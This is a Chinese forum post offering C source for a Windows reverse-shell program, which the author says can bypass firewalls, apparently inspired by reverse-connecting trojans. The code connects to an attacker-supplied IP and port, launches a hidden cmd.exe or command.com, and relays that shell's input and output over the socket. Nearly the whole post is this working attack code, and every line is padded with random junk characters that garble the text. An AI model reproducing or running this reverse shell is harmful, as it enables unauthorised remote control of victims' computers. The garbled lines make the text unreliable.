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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VNO'="U  
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/* ============================== &8n?  
Rebound port in Windows NT ?~Pv3'%d  
By wind,2006/7 Y([d;_#P  
===============================*/ _KN: o10U  
#include Ev{MCu1!6  
#include ] opto  
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#pragma comment(lib,"wsock32.lib") >L=;"+B0U&  
modC6d%  
void OutputShell(); "W5rx8a  
SOCKET sClient; T<6GcI>A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yPN+W8}f  
YQ7@D]#  
void main(int argc,char **argv) Fm5Q&'`l  
{ ?!y"OrHg  
WSADATA stWsaData; XhN{S]Wn  
int nRet; </=3g>9Z  
SOCKADDR_IN stSaiClient,stSaiServer; 5{X*a  
`7\H41%\pp  
if(argc != 3) A? r^V2+j  
{ X$^JAZ09  
printf("Useage:\n\rRebound DestIP DestPort\n"); VX!hv`E  
return; :BD>yOlG  
} s4bv;W  
5z Kqb  
WSAStartup(MAKEWORD(2,2),&stWsaData); [,b)YjO~Xd  
QZ~0o7  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 03_pwB)^  
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stSaiClient.sin_family = AF_INET; Kp&3=e;vn{  
stSaiClient.sin_port = htons(0); 0sh~I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E30Z`$cz:  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #ouE r-=  
{ B`1kGEx .  
printf("Bind Socket Failed!\n"); ?-,6<K1  
return; j^nu|  
} \c% g M1  
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stSaiServer.sin_family = AF_INET; P,ydt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F&az":  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H %z/v|e6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9go))&`PJL  
{ oj@g2H5P  
printf("Connect Error!"); CmnHh~%  
return; 3[VNsX  
} ;7j,MbU  
OutputShell(); `HyF_m>\  
} J^:n* C  
M4:s;@qZ.  
void OutputShell() d.AC%&W  
{  :,~K]G  
char szBuff[1024]; Ww`&i  
SECURITY_ATTRIBUTES stSecurityAttributes; (f>M &..  
OSVERSIONINFO stOsversionInfo; n[CoS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :tbd,Uo  
STARTUPINFO stStartupInfo; 2(+P[(N1,  
char *szShell; FM\[].  
PROCESS_INFORMATION stProcessInformation; X~L!e}Rz  
unsigned long lBytesRead; ~OCZz$qA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lDN?|YG  
z_n \5.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D/:3R ZF  
stSecurityAttributes.lpSecurityDescriptor = 0; no&-YktP}  
stSecurityAttributes.bInheritHandle = TRUE; YtYy zX5u7  
th 2<o5  
b-%l-u  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f^e&hyC   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :0I l|aB  
;;Tq$#vd  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -?fR|[\[U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g~)3WfC$[  
stStartupInfo.wShowWindow = SW_HIDE; NwpS)6<-  
stStartupInfo.hStdInput = hReadPipe; 1Es qQz*$u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^l(^z fsZ  
^P$7A]!  
GetVersionEx(&stOsversionInfo); t$I|E  
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switch(stOsversionInfo.dwPlatformId) wOg,SMiq  
{ {7X~!e|w  
case 1: a+ GJVJ  
szShell = "command.com"; doLNz4W  
break; "+h/-2rA  
default: E9$H nj+m  
szShell = "cmd.exe"; B*79qq  
break; #PFO]j!_b  
} D^?_"wjW  
MLS;SCl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u)~s4tP4  
9rcI+q=E  
send(sClient,szMsg,77,0); Y[G9Vok VX  
while(1) >r}Vf9 5[N  
{ ]sL45k2W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dG0VBE  
if(lBytesRead) -J?~U2  
{ iN)af5)[^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y /lN@  
send(sClient,szBuff,lBytesRead,0); c-*2dV[@  
} 6+PGwCS  
else (h,Ws-O  
{ <L&eh&4c  
lBytesRead=recv(sClient,szBuff,1024,0); F,pCR7o>  
if(lBytesRead<=0) break; [:B*6FXMN~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 88o:NJ}_  
} m UgRm]  
} XTo8,'UaP  
_tWE8 r,  
return; GV6mzD@ <  
}
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